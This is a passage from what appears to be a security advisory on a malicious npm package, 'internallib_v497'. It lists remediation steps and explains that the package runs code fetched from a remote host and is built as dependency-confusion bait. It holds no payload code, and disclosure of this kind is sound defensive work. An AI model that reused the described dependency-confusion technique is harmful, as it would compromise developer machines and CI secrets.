If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.
